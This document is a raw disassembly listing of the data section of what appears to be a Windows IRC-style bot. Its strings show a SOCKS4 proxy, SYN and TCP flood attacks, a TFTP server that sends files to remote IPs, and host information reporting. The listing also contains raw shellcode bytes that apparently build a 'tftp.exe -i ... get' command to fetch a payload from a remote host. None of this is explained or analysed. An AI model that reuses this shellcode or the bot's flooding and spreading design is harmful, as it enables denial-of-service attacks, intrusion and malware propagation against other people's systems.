dword_427A3C	dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh ; DATA XREF: sub_4102EE+C4o
		db 66h,	0B9h
word_427A4A	dw 0FFFFh		; DATA XREF: sub_4102EE+CCw
		db 80h,	73h, 0Eh
byte_427A4F	db 0FFh			; DATA XREF: sub_4102EE+D3w
		dd 0F9E243h
dword_427A54	dd 5EB02EBh, 0FFFFF9E8h, 0C9315BFFh ; DATA XREF: sub_4102EE+A2o
		db 0B1h
byte_427A61	db 0FFh			; DATA XREF: sub_4102EE+AAw
		dw 7380h
		db 0Ch
byte_427A65	db 0FFh			; DATA XREF: sub_4102EE+B0w
		dw 0E243h
		dd 0F9h
dword_427A6C	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_410177+57o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_427AD0	dd 12h			; DATA XREF: sub_410177+3Dw
		dd 70746674h, 6578652Eh, 20692D20h
aGet_0		db ' get ',0            ; DATA XREF: sub_410177+79o
					; sub_410177+9Bo
aJ_1		db 'j',0
		db 0E8h
dword_427AE9	dd 17h			; DATA XREF: sub_410177+4Dw
		db 75h,	1, 0C3h
		db 0E8h
dword_427AF1	dd 1			; DATA XREF: sub_410177+45w
byte_427AF5	db 0, 6Ah, 0		; DATA XREF: sub_410177+C2o
		dd 7E8h
		db 0, 0Fh, 84h
dword_427AFF	dd 0FFFFFFEDh		; DATA XREF: sub_410177+5Dw
		db 0C3h
		dd 505D5B58h, 3354EC83h, 8DFC8BC0h, 0D78B4048h,	44B0AAF3h
		dd 515257ABh, 6A286A51h, 55515101h, 83D6FF53h, 0C08554C4h
		dd 0C3h
; char aSocks4Failed_1[]
aSocks4Failed_1	db '[SOCKS4]: Failed to start server on Port %d.',0
					; DATA XREF: sub_4103F5+1B2o
		align 10h
; char aSocks4Failed_0[]
aSocks4Failed_0	db '[SOCKS4]: Failed to start client thread, error: <%d>.',0
					; DATA XREF: sub_4103F5+18Fo
		align 4
; char aSocks4ClientCo[]
aSocks4ClientCo	db '[SOCKS4]: Client connection from IP: %s:%d, Server thread: %d.',0
					; DATA XREF: sub_4103F5+114o
		align 4
; char aSocks4ErrorF_0[]
aSocks4ErrorF_0	db '[SOCKS4]: Error: Failed to connect to target, returned: <%d>.',0
					; DATA XREF: sub_4105FA+1F9o
		align 4
; char aSocks4ErrorFai[]
aSocks4ErrorFai	db '[SOCKS4]: Error: Failed to open socket(), returned: <%d>.',0
					; DATA XREF: sub_4105FA+18Ao
		align 4
; char aSocks4Authenti[]
aSocks4Authenti	db '[SOCKS4]: Authentication failed. Remote userid: %s != %s.',0
					; DATA XREF: sub_4105FA+F2o
		align 10h
; char aSynDoneWithFlo[]
aSynDoneWithFlo	db '[SYN]: Done with flood (%iKB/sec).',0 ; DATA XREF: sub_4109BE+48o
		align 4
; char aSynSendErrorD_[]
aSynSendErrorD_	db '[SYN]: Send error: <%d>.',0 ; DATA XREF: sub_410A5A+27Do
		align 10h
; char aDdDhDm[]
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_410D66+52o
; char aSysinfoCpuI64u[]
aSysinfoCpuI64u	db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
					; DATA XREF: sub_410E85+297o
		db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
		db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
		db ' %s. [Uptime]: %s.',0
		align 4
aDdMmmYyyy	db 'dd:MMM:yyyy',0      ; DATA XREF: sub_410E85+192o
; char aCouldnTResolve[]
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_410E85:loc_410FE9o
		align 4
; char aSS_5[]
aSS_5		db '%s (%s)',0          ; DATA XREF: sub_410E85+EBo
; char aNetinfoTypeSS_[]
aNetinfoTypeSS_	db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
					; DATA XREF: sub_411139+ABo
		align 10h
; char off_427E20[]
off_427E20	dd offset loc_412F4E	; DATA XREF: sub_411139:loc_4111ADo
dword_427E24	dd 4E414Ch		; DATA XREF: sub_411139:loc_4111A6o
; char aDialUp[]
aDialUp		db 'Dial-up',0          ; DATA XREF: sub_411139+5Bo
; char aNotConnected[]
aNotConnected	db 'Not connected',0    ; DATA XREF: sub_411139+48o
		align 10h
; char aTcpDoneWithSFl[]
aTcpDoneWithSFl	db '[TCP]: Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/se'
					; DATA XREF: sub_4111FF+4EBo
		db 'c (%dMB).',0
		align 4
; char aTcpErrorSendin[]
aTcpErrorSendin	db '[TCP]: Error sending packets to IP: %s. Packets sent: %d. Returne'
					; DATA XREF: sub_4111FF+44Fo
		db 'd: <%d>.',0
		align 4
; char aTcpInvalidTarg[]
aTcpInvalidTarg	db '[TCP]: Invalid target IP.',0 ; DATA XREF: sub_4111FF+15Fo
		align 4
; char aTcpErrorSetsoc[]
aTcpErrorSetsoc	db '[TCP]: Error: setsockopt() failed, returned: <%d>.',0
					; DATA XREF: sub_4111FF+EEo
		align 4
; char aTcpErrorSocket[]
aTcpErrorSocket	db '[TCP]: Error: socket() failed, returned: <%d>.',0
					; DATA XREF: sub_4111FF+70o
		align 4
dword_427F58	dd 4000500h, 7868746Bh,	0 ; DATA XREF: sub_411743+493o
aTftpFileTran_1	db '[TFTP]: File transfer complete to IP: %s (%s).',0
					; DATA XREF: sub_411743+47Fo
		align 4
; char aTftpFileNotFou[]
aTftpFileNotFou	db '[TFTP]: File not found: %s (%s).',0 ; DATA XREF: sub_411743+3B6o
		align 4
dword_427FB8	dd 1000500h, 656C6946h,	746F4E20h, 756F4620h, 646Eh
					; DATA XREF: sub_411743+399o
; char aTftpFileTran_0[]
aTftpFileTran_0	db '[TFTP]: File transfer started to IP: %s (%s).',0
					; DATA XREF: sub_411743+33Eo
		align 4
; char aTftpFailedToOp[]
aTftpFailedToOp	db '[TFTP]: Failed to open file: %s.',0 ; DATA XREF: sub_411743+15Ao
		align 10h
; char aTftpErrorSocke[]
aTftpErrorSocke	db '[TFTP]: Error: socket() failed, returned: <%d>.',0
					; DATA XREF: sub_411743+6Ao
aOctet		db 'octet',0            ; DATA XREF: sub_411743+Fo
		align 4
aThreadList	db '-[Thread List]-',0  ; DATA XREF: sub_411CF7+10o
; char aSNoSThreadFoun[]
aSNoSThreadFoun	db '%s: No %s thread found.',0 ; DATA XREF: sub_411EC8+51o
; char aSSStopped_DThr[]
aSSStopped_DThr	db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_411EC8+35o
		align 10h
dword_4280B0	dd 817CD174h		; DATA XREF: sub_41274C+4w _randr ...
		align 10h
		dd 9875h, 9873h
off_4280C8	dd offset __fpmath	; DATA XREF: __cinitr
		dd offset nullsub_1
		dd offset nullsub_1
		align 10h
off_4280E0	dd offset __exit	; DATA XREF: __amsg_exit+1Cr
dword_4280E4	dd 2			; DATA XREF: __FF_MSGBANNER+Er
					; __NMSG_WRITE+46r ...
		dd 10h
dword_4280EC	dd 3F8h			; DATA XREF: __heap_alloc+5r
					; _realloc+4Dr	...
off_4280F0	dd offset aNull		; DATA XREF: __output:loc_414E32r
					; __output+457r
					; "(null)"
off_4280F4	dd offset aNull_0	; DATA XREF: __output+259r
					; "(null)"
asc_4280F8	db ' ',9,'-',0Dh,']',0  ; DATA XREF: __input:loc_41583Fo
		align 10h
asc_428100:				; DATA XREF: __input:loc_41572Fo
		unicode	0, <]>,0
off_428104	dd offset __wctype+2	; DATA XREF: _atol+23r
					; _atol:loc_412B55r ...
		dd offset __wctype+2
		public __wctype
; const	unsigned __int16 _wctype[]
__wctype	dd    200000h		; DATA XREF: _x_ismbbtype+18r
					; .data:off_428104o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
; size_t SrcSizeInBytes
SrcSizeInBytes	dd 1			; DATA XREF: _atol:loc_412AFCr
					; _atol:loc_412B40r ...
byte_428314	db 2Eh			; DATA XREF: __input:loc_4155CCr
					; __input+311r	...
		align 4
		dd 1
off_42831C	dd offset __cfltcvt	; DATA XREF: __cfltcvt_init+Fw
					; __output+3AAr
off_428320	dd offset __cropzeros	; DATA XREF: __cfltcvt_init+5w
					; __output+3E2r
off_428324	dd offset __fassign	; DATA XREF: __cfltcvt_init+14w
					; __input+430r
off_428328	dd offset __forcdecpt	; DATA XREF: __cfltcvt_init+1Ew
					; __output+3CBr
off_42832C	dd offset __positive	; DATA XREF: __cfltcvt_init+28w
off_428330	dd offset __cfltcvt	; DATA XREF: __cfltcvt_init+32w
		align 8
dword_428338	dd 1			; DATA XREF: __dosmaperr+Co
dword_42833C	dd 16h			; DATA XREF: __dosmaperr:loc_416989r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
byte_4284A0	db 1			; DATA XREF: __dosmaperr+19o
					; __setmbcp+E1r
		db 2, 4, 8
		align 8
dword_4284A8	dd 3A4h			; DATA XREF: __setmbcp+2Fo
dword_4284AC	dd 82798260h		; DATA XREF: __setmbcp+11Dr
		dd 21h,	0
dword_4284B8	dd 0DFA6h		; DATA XREF: __setmbcp+C0r
		align 10h
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_428598	dd 0C0000005h		; DATA XREF: __setmbcp+3Co
					; _xcptlookup+Ar ...
		dd 0Bh,	0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		dd 0C000008Dh, 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		dd 0C0000090h, 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_428610	dd 3			; DATA XREF: __XcptFilter+58r
dword_428614	dd 7			; DATA XREF: __XcptFilter+5Er
dword_428618	dd 0Ah			; DATA XREF: _xcptlookup+4r
dword_42861C	dd 8Ch			; DATA XREF: __XcptFilter+82r
					; __XcptFilter+8Fw ...
dword_428620	dd 0FFFFFFFFh, 0A00h	; DATA XREF: __flsbuf:loc_414A76o
					; __filbuf:loc_41606Ao
dword_428628	dd 19930520h, 3	dup(0)	; DATA XREF: .text:00417D4Fo
					; __NLG_Notify+2o
dword_428638	dd 2			; DATA XREF: __NMSG_WRITE+Eo
					; __NMSG_WRITE+28r
off_42863C	dd offset aR6002FloatingP ; DATA XREF: __NMSG_WRITE+FCr
					; __NMSG_WRITE+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 41B914h, 9, 41B8E8h, 0Ah,	41B8C4h, 10h, 41B898h
		dd 11h,	41B868h, 12h, 41B844h, 13h, 41B818h, 18h, 41B7E0h
		dd 19h,	41B7B8h, 1Ah, 41B780h, 1Bh, 41B748h, 1Ch, 41B720h
		dd 78h,	41B710h, 79h, 41B700h, 7Ah, 41B6F0h, 0FCh, 41FD9Ch
		dd 0FFh, 41B6E0h
dword_4286C8	dd 2 dup(0)		; DATA XREF: __NMSG_WRITE+1Bo
off_4286D0	dd offset dword_475800	; DATA XREF: ___initstdio+55o
		dd 0
		dd offset dword_475800
		dd 101h
dword_4286E0	dd 0FFFFFFFFh, 0	; DATA XREF: ___initstdio+72o
		dd 1000h, 0
dword_4286F0	dd 3 dup(0)		; DATA XREF: __flsbuf+50o __stbuf+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_428710	dd 3 dup(0)		; DATA XREF: __flsbuf+58o
					; __stbuf:loc_417220o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_428740	dd 84h dup(0)		; DATA XREF: ___initstdio+9Bo
dword_428950	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: ___initstdio+69o
					; sub_4192B5o
dword_428968	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_4192CBo
dword_428980	dd 7080h		; DATA XREF: ___loctotime_t+76r
					; __tzset+5Ew ...
dword_428984	dd 1			; DATA XREF: ___loctotime_t+98r
					; __tzset+8Bw ...
dword_428988	dd 0FFFFF1F0h		; DATA XREF: ___loctotime_t:loc_416B39r
					; __tzset+94w ...
dword_42898C	dd 545350h, 0Fh	dup(0)	; DATA XREF: .data:off_428A0Co
dword_4289CC	dd 544450h, 0Fh	dup(0)	; DATA XREF: .data:off_428A10o
; char *off_428A0C
off_428A0C	dd offset dword_42898C	; DATA XREF: __tzset+BAr __tzset+D9r ...
; char *off_428A10
off_428A10	dd offset dword_4289CC	; DATA XREF: __tzset+F4r __tzset+11Br	...
		align 8
dword_428A18	dd 0FFFFFFFFh		; DATA XREF: __tzset+1Dw __isindst+1Er ...
dword_428A1C	dd 0			; DATA XREF: __isindst:loc_41987Cr
					; _cvtdate+BFw
dword_428A20	dd 0			; DATA XREF: __isindst+192r
					; _cvtdate+E0w
		align 8
dword_428A28	dd 0FFFFFFFFh		; DATA XREF: __tzset+17w __isindst+26r ...
dword_428A2C	dd 0			; DATA XREF: __isindst+13Ar
					; _cvtdate+EAw	...
dword_428A30	dd 0			; DATA XREF: __isindst+1A1r
					; _cvtdate+23r	...
dword_428A34	dd 0FFFFFFFFh		; DATA XREF: _cvtdate+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_428A64	dd 16Dh			; DATA XREF: ___loctotime_t+2Ar
					; _cvtdate+2Er	...
dword_428A68	dd 0FFFFFFFFh		; DATA XREF: _cvtdate:loc_419980r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_428AA0	dd 2 dup(0)		; DATA XREF: ___multtenpow12+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
		dd 400FC350h, 2	dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_428C00	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: ___multtenpow12+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh,	0
dword_428D60	dd 0			; DATA XREF: sub_401000+9Eo
; char byte_428D64
byte_428D64	db 0			; DATA XREF: sub_401000+36r
					; sub_4010E3+37r ...
		align 4
dword_428D68	dd 0			; DATA XREF: sub_40226C+18r
					; sub_4026BF+92w ...
dword_428D6C	dd 0			; DATA XREF: sub_4027F8+4Dr
					; sub_402A0C+D9w ...
		dd 3E6h	dup(0)
dword_429D08	dd 6 dup(0)		; DATA XREF: sub_4027F8+CFo
					; sub_4027F8+138o ...
dword_429D20	dd 0			; DATA XREF: sub_4022E3+82w
					; sub_4022E3+102o
dword_429D24	dd 41h dup(0)		; DATA XREF: sub_4022E3+41o
; char byte_429E28[]
byte_429E28	db 104h	dup(0)		; DATA XREF: sub_4022E3+63o
dword_429F2C	dd 0			; DATA XREF: sub_4022E3+F8w
					; sub_4022E3+114r
dword_429F30	dd 0			; DATA XREF: sub_4022E3+52w
dword_429F34	dd 0			; DATA XREF: sub_4022E3+4Dw
					; sub_4022E3+CFr
; char byte_429F38[]
byte_429F38	db 80h dup(0)		; DATA XREF: sub_4022E3+9Ao
					; sub_4022E3+BAo
dword_429FB8	dd 0			; DATA XREF: sub_4022E3+8Fw
dword_429FBC	dd 0			; DATA XREF: sub_4022E3+A7w
					; sub_4022E3+C7w
dword_429FC0	dd 0			; DATA XREF: sub_4022E3:loc_40240Dr
		align 8
dword_429FC8	dd 0			; DATA XREF: sub_4022E3+2D5w
					; sub_4022E3+32Eo
; char Dest[]
Dest		db 288h	dup(0)		; DATA XREF: sub_4022E3+2C3o
; char byte_42A254[]
byte_42A254	db 104h	dup(0)		; DATA XREF: sub_4022E3+28Do
dword_42A358	dd 0			; DATA XREF: sub_4022E3+2BAw
					; sub_4022E3+2E1r
		align 10h
dword_42A360	dd 0			; DATA XREF: sub_4022E3+324w
					; sub_4022E3+340r
dword_42A364	dd 0			; DATA XREF: sub_4022E3+2E7w
dword_42A368	dd 0			; DATA XREF: sub_4022E3+2F4w
dword_42A36C	dd 0			; DATA XREF: sub_4022E3+2B4w
		dd 0
dword_42A374	dd 0			; DATA XREF: sub_4022E3:loc_402639r
dword_42A378	dd 0			; DATA XREF: sub_4022E3+1A1w
					; sub_4022E3+221o
dword_42A37C	dd 41h dup(0)		; DATA XREF: sub_4022E3+163o
; char byte_42A480[]
byte_42A480	db 104h	dup(0)		; DATA XREF: sub_4022E3+182o
dword_42A584	dd 0			; DATA XREF: sub_4022E3+217w
					; sub_4022E3+233r
dword_42A588	dd 0			; DATA XREF: sub_4022E3+171w
dword_42A58C	dd 0			; DATA XREF: sub_4022E3+1EEr
; char byte_42A590[]
byte_42A590	db 80h dup(0)		; DATA XREF: sub_4022E3+1B9o
					; sub_4022E3+1D9o
dword_42A610	dd 0			; DATA XREF: sub_4022E3+1AEw
dword_42A614	dd 0			; DATA XREF: sub_4022E3+1C6w
					; sub_4022E3+1E6w
dword_42A618	dd 0			; DATA XREF: sub_4022E3:loc_40252Dr
		align 10h
; char byte_42A620[]
byte_42A620	db 4000h dup(0)		; DATA XREF: sub_402D63+1Do
					; sub_402E03o ...
; char Source[]
Source		db 4 dup(0)		; DATA XREF: sub_402D63+13o
					; sub_402E03+Eo ...
dword_42E624	dd 0Eh dup(0)		; DATA XREF: sub_403A49+Fo
dword_42E65C	dd 2 dup(0)		; DATA XREF: sub_403DCB+C8o
dword_42E664	dd 0			; DATA XREF: sub_40465A+2Aw
					; sub_40465A+51r ...
dword_42E668	dd 0			; DATA XREF: sub_401A39+ACr
					; sub_404059+72w ...
		align 10h
byte_42E670	db 0			; DATA XREF: sub_40588C+1D3w
					; sub_40588C+2D2o
		align 2
word_42E672	dw 0			; DATA XREF: sub_40588C+1E3w
word_42E674	dw 0			; DATA XREF: sub_40588C+1E9w
word_42E676	dw 0			; DATA XREF: sub_40588C+1F0w
byte_42E678	db 0			; DATA XREF: sub_40588C+1F7w
byte_42E679	db 0			; DATA XREF: sub_40588C+1FEw
word_42E67A	dw 0			; DATA XREF: sub_40588C+204w
dword_42E67C	dd 0			; DATA XREF: sub_40588C+234w
					; sub_40588C+250w
dword_42E680	dd 0			; DATA XREF: sub_40588C+258w
byte_42E684	db 0			; DATA XREF: sub_40588C+26Aw
byte_42E685	db 0			; DATA XREF: sub_40588C+27Dw
word_42E686	dw 0			; DATA XREF: sub_40588C+295w
word_42E688	dw 0			; DATA XREF: sub_40588C+2A4w
word_42E68A	dw 0			; DATA XREF: sub_40588C+29Cw
dword_42E68C	dd 101h	dup(0)		; DATA XREF: sub_40588C+2B9o
dword_42EA90	dd 77C72C6Bh		; DATA XREF: sub_405EFF+42Fw
					; sub_405EFF+473r
dword_42EA94	dd 77EBA994h		; DATA XREF: sub_405EFF+65w
					; sub_4088B4+166r
dword_42EA98	dd 7622A3F4h		; DATA XREF: sub_405EFF+793w
					; sub_405EFF+808r ...
dword_42EA9C	dd 71C45229h		; DATA XREF: sub_405EFF+960w
					; sub_405EFF+9BEr ...
dword_42EAA0	dd 71C24870h		; DATA XREF: sub_405EFF+912w
					; sub_405EFF+98Er ...
dword_42EAA4	dd 77C71BB0h		; DATA XREF: sub_405EFF+415w
					; sub_405EFF+463r
dword_42EAA8	dd 71C4502Ch		; DATA XREF: sub_405EFF+953w
					; sub_405EFF+9B6r ...
dword_42EAAC	dd 77DE801Bh		; DATA XREF: sub_405EFF+2FAw
					; sub_405EFF+34Fr ...
dword_42EAB0	dd 77DDACABh		; DATA XREF: sub_405EFF+397w
					; sub_410E85+11Er
dword_42EAB4	dd 77DE8075h		; DATA XREF: sub_405EFF+307w
					; sub_405EFF+357r ...
dword_42EAB8	dd 77DD7496h		; DATA XREF: sub_405EFF+348w
					; sub_407944+ADr
dword_42EABC	dd 71AB1B7Bh		; DATA XREF: sub_404771+115r
					; sub_405EFF+4E2w ...
dword_42EAC0	dd 77E686CCh		; DATA XREF: sub_403B11+1Br
					; sub_405EFF+72w ...
dword_42EAC4	dd 71C2498Bh		; DATA XREF: sub_405EFF+905w
					; sub_405EFF+981r ...
dword_42EAC8	dd 77DDAB2Fh		; DATA XREF: sub_405EFF+32Ew
					; sub_405EFF+36Fr ...
dword_42EACC	dd 7620E8C3h		; DATA XREF: sub_405EFF+7E1w
					; sub_405EFF+834r
dword_42EAD0	dd 77DD23D7h		; DATA XREF: sub_405EFF+24Bw
					; sub_405EFF+27Cr
dword_42EAD4	dd 76214750h		; DATA XREF: sub_403520+3Ar
					; sub_405EFF+7D4w ...
dword_42EAD8	dd 77E6D75Bh		; DATA XREF: sub_405EFF+B3w
dword_42EADC	dd 7620BD61h		; DATA XREF: sub_403520+109r
					; sub_405EFF+7EEw ...
dword_42EAE0	dd 71AB60C9h		; DATA XREF: sub_405EFF+4D5w
					; sub_405EFF+658r ...
dword_42EAE4	dd 77EBA6E9h		; DATA XREF: sub_405EFF+58w
					; sub_405EFF+CAr ...
dword_42EAE8	dd 76D62A58h		; DATA XREF: sub_405EFF+8BCw
					; sub_4084A7+11Ar
dword_42EAEC	dd 76F36EAAh		; DATA XREF: sub_405EFF+A0Cw
					; sub_405EFF+A13r ...
dword_42EAF0	dd 77E802FCh		; DATA XREF: sub_405EFF+A6w
					; sub_405EFF+F2r
dword_42EAF4	dd 77C75455h		; DATA XREF: sub_405EFF+408w
					; sub_405EFF+45Br
dword_42EAF8	dd 71AB12A7h		; DATA XREF: sub_402677+20r
					; sub_405EFF+57Ew ...
dword_42EAFC	dd 71C574FAh		; DATA XREF: sub_405EFF+946w
					; sub_405EFF+9AEr
dword_42EB00	dd 71AB1746h		; DATA XREF: sub_405EFF+571w
					; sub_405EFF+6DCr
dword_42EB04	dd 71B28D0Dh		; DATA XREF: sub_4010E3+9Ar
					; sub_405EFF+AC7w
dword_42EB08	dd 762211EFh		; DATA XREF: sub_405EFF+786w
					; sub_405EFF+7F5r ...
dword_42EB0C	dd 77D902E3h		; DATA XREF: sub_405EFF+1B3w
					; sub_407228+15r
dword_42EB10	dd 71C2FA86h		; DATA XREF: sub_405EFF+91Fw
					; sub_405EFF+996r ...
dword_42EB14	dd 77DE1291h		; DATA XREF: sub_405EFF+314w
					; sub_405EFF+35Fr ...
dword_42EB18	dd 77E2C1B3h		; DATA XREF: sub_405EFF+321w
					; sub_405EFF+367r ...
dword_42EB1C	dd 71ABF628h		; DATA XREF: sub_405EFF+634w
					; sub_40F1B7+D0r
dword_42EB20	dd 71AB1836h		; DATA XREF: sub_40318B:loc_4034B6r
					; sub_403520+46Cr ...
dword_42EB24	dd 77C72889h		; DATA XREF: sub_405EFF+43Cw
dword_42EB28	dd 71C453F8h		; DATA XREF: sub_405EFF+96Dw
					; sub_405EFF+9C6r ...
dword_42EB2C	dd 77DD5C55h		; DATA XREF: sub_402FA4+51r
					; sub_405EFF+258w ...
dword_42EB30	dd 77E96645h		; DATA XREF: sub_403D46+25r
					; sub_403D46+39r ...
dword_42EB34	dd 77428B97h		; DATA XREF: sub_403520+33Cr
					; sub_405EFF+B14w ...
dword_42EB38	dd 71AB41DAh		; DATA XREF: sub_40318B+2Fr
					; sub_40576B+17r ...
dword_42EB3C	dd 762059A3h		; DATA XREF: sub_405EFF+7ADw
					; sub_405EFF+818r
dword_42EB40	dd 71C4A1B4h		; DATA XREF: sub_405EFF+92Cw
					; sub_405EFF+99Er
dword_42EB44	dd 1F7CD214h		; DATA XREF: sub_405EFF+B85w
					; sub_405EFF+BB6r
dword_42EB48	dd 76D629BBh		; DATA XREF: sub_405EFF+8A2w
					; sub_405EFF+8B6r ...
dword_42EB4C	dd 1F7B9D96h		; DATA XREF: sub_405EFF+B9Fw
dword_42EB50	dd 71AB1740h		; DATA XREF: sub_40318B:loc_403480r
					; sub_404771:loc_404B5Cr ...
dword_42EB54	dd 7620AFB6h		; DATA XREF: sub_405EFF+7C7w
					; sub_405EFF+7FBr
dword_42EB58	dd 77D45B19h		; DATA XREF: sub_405EFF+172w
					; sub_405EFF+1C2r
dword_42EB5C	dd 71AB157Eh		; DATA XREF: sub_405EFF+600w
					; sub_405EFF+72Cr ...
dword_42EB60	dd 71AB3E5Dh		; DATA XREF: sub_4013EE+20Ar
					; .text:00401906r ...
dword_42EB64	dd 71AB14DCh		; DATA XREF: sub_405EFF+4EFw
					; sub_405EFF+664r
dword_42EB68	dd 0CC0004h		; DATA XREF: sub_403520+34r
					; sub_405EFF+863w ...
dword_42EB6C	dd 77DD590Bh		; DATA XREF: sub_402FA4+26r
					; sub_405EFF+231w ...
dword_42EB70	dd 71ABD755h		; DATA XREF: sub_405EFF+627w
					; sub_405EFF+744r ...
dword_42EB74	dd 77DF7311h		; DATA XREF: sub_405EFF+2B5w
					; sub_405EFF+2C9r ...
dword_42EB78	dd 77DDA2AFh		; DATA XREF: sub_405EFF+33Bw
					; sub_405EFF+377r ...
